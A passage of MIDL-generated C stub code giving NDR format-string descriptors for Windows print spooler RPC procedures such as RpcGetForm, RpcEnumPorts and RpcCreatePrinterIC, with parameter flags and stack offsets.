*/\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1960 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1962 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1964 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 1966 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1968 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1970 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pFormName */\n\n/* 1972 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1974 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1976 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 1978 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1980 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1982 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcGetForm */\n\n/* 1984 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1986 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1990 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 1992 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1994 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1996 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1998 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2000 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 2002 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2004 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 2006 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2008 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2010 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2012 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2014 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 2016 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2018 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2020 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pFormName */\n\n/* 2022 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2024 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2026 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter Level */\n\n/* 2028 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2030 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2032 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pForm */\n\n/* 2034 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 2036 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2038 */\tNdrFcShort( 0x6 ),\t/* Type Offset=6 */\n\n\t/* Parameter cbBuf */\n\n/* 2040 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2042 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2044 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 2046 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2048 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2050 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2052 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2054 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2056 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSetForm */\n\n/* 2058 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2060 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2064 */\tNdrFcShort( 0x21 ),\t/* 33 */\n/* 2066 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2068 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 2070 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2072 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2074 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2076 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2078 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2080 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 2082 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2084 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2086 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2088 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 2090 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2092 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2094 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pFormName */\n\n/* 2096 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2098 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2100 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pFormInfoContainer */\n\n/* 2102 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2104 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2106 */\tNdrFcShort( 0x696 ),\t/* Type Offset=1686 */\n\n\t/* Return value */\n\n/* 2108 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2110 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2112 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumForms */\n\n/* 2114 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2116 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2120 */\tNdrFcShort( 0x22 ),\t/* 34 */\n/* 2122 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2124 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 2126 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2128 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2130 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 2132 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2134 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 2136 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2138 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2140 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2142 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2144 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 2146 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2148 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2150 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter Level */\n\n/* 2152 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2154 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2156 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pForm */\n\n/* 2158 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 2160 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2162 */\tNdrFcShort( 0x332 ),\t/* Type Offset=818 */\n\n\t/* Parameter cbBuf */\n\n/* 2164 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2166 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2168 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 2170 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2172 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2174 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 2176 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2178 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2180 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2182 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2184 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2186 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumPorts */\n\n/* 2188 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2190 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2194 */\tNdrFcShort( 0x23 ),\t/* 35 */\n/* 2196 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2198 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2200 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2202 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2204 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2206 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2208 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 2210 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2212 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2214 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2216 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2218 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2220 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2222 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2224 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 2226 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2228 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2230 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPort */\n\n/* 2232 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 2234 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2236 */\tNdrFcShort( 0x332 ),\t/* Type Offset=818 */\n\n\t/* Parameter cbBuf */\n\n/* 2238 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2240 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2242 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 2244 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2246 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2248 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 2250 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2252 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2254 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2256 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2258 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2260 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumMonitors */\n\n/* 2262 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2264 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2268 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2270 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2272 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2274 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2276 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2278 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2280 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2282 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 2284 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2286 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2288 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2290 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2292 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2294 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2296 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2298 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 2300 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2302 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2304 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pMonitor */\n\n/* 2306 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 2308 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2310 */\tNdrFcShort( 0x332 ),\t/* Type Offset=818 */\n\n\t/* Parameter cbBuf */\n\n/* 2312 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2314 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2316 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 2318 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2320 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2322 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 2324 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 2326 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2328 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2330 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2332 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2334 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum37NotUsedOnWire */\n\n/* 2336 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2338 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2342 */\tNdrFcShort( 0x25 ),\t/* 37 */\n/* 2344 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2346 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2348 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2350 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2352 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2354 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 2356 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2358 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2360 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2362 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2364 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum38NotUsedOnWire */\n\n/* 2366 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2368 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2372 */\tNdrFcShort( 0x26 ),\t/* 38 */\n/* 2374 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2376 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 2378 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2380 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2382 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2384 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 2386 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2388 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2390 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2392 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2394 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcDeletePort */\n\n/* 2396 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2398 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2402 */\tNdrFcShort( 0x27 ),\t/* 39 */\n/* 2404 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2406 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 2408 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2410 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2412 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2414 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2416 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2418 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 2420 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2422 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2424 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2426 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 2428 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 2430 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2432 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter hWnd */\n\n/* 2434 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2436 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2438 */\t0xb9,\t\t/* FC_UINT3264 */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pPortName */\n\n/* 2440 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2442 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2444 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 2446 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2448 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2450 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcCreatePrinterIC */\n\n/* 2452 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2454 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2458 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 2460 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2462 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 2464 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2466 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2468 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 2470 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 2472 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 2474 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 2476 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2478 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2480 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2482 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 2484 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2486 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2488 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pHandle */\n\n/* 2490 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 2492 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2494 */\tNdrFcShort( 0x6aa ),\t/* Type Offset=1706 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 2496 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2498 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2500 */\tNdrFcShort( 0x46 ),\t/* Type Offset=70 */\n\n\t/* Return value */\n\n/* 2502 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2504 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2506 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcPlayGdiScriptOnPrinterIC */\n\n/* 2508 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2510 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2514 */\tNdrFcShort( 0x29 ),\t/* 41 */\n/* 2516 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2518 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 2520 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2522 */\t0x1,\t\t/* 1 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2524 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 2526 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2528 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 2530 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 2532 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2534 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2536 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2538 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinterIC */\n\n/* 2540 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 2542 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2544 */\tNdrFcShort( 0x6ae ),\t/* Type Offset=1710 */\n\n\t/* Parameter pIn */\n\n/* 2546 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 2548 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2550 */\tNdrFcShort( 0x5f2 ),\t/* Type Offset=1522 */\n\n\t/* Parameter cIn */\n\n/* 2552 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2554 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2556 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pOut */\n\n/* 2558 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 2560 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2562 */\tNdrFcShort( 0xa ),\t/* Type Offset=10 */\n\n\t/* Parameter cOut */\n\n/* 2564 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2566 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 2568 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ul */\n\n/* 2570 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 2572 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2574 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 2576 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 2578 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 2580 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeletePrinterIC */\n\n/* 2582 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 2584 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2588 */\tNdrFcShort( 0x2a ),\t/* 42 */\n/* 2590 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2592 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 2594 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 2596 */\t0x1,\t\t/* 1 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2598 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 2600 */\tNdrFcShort( 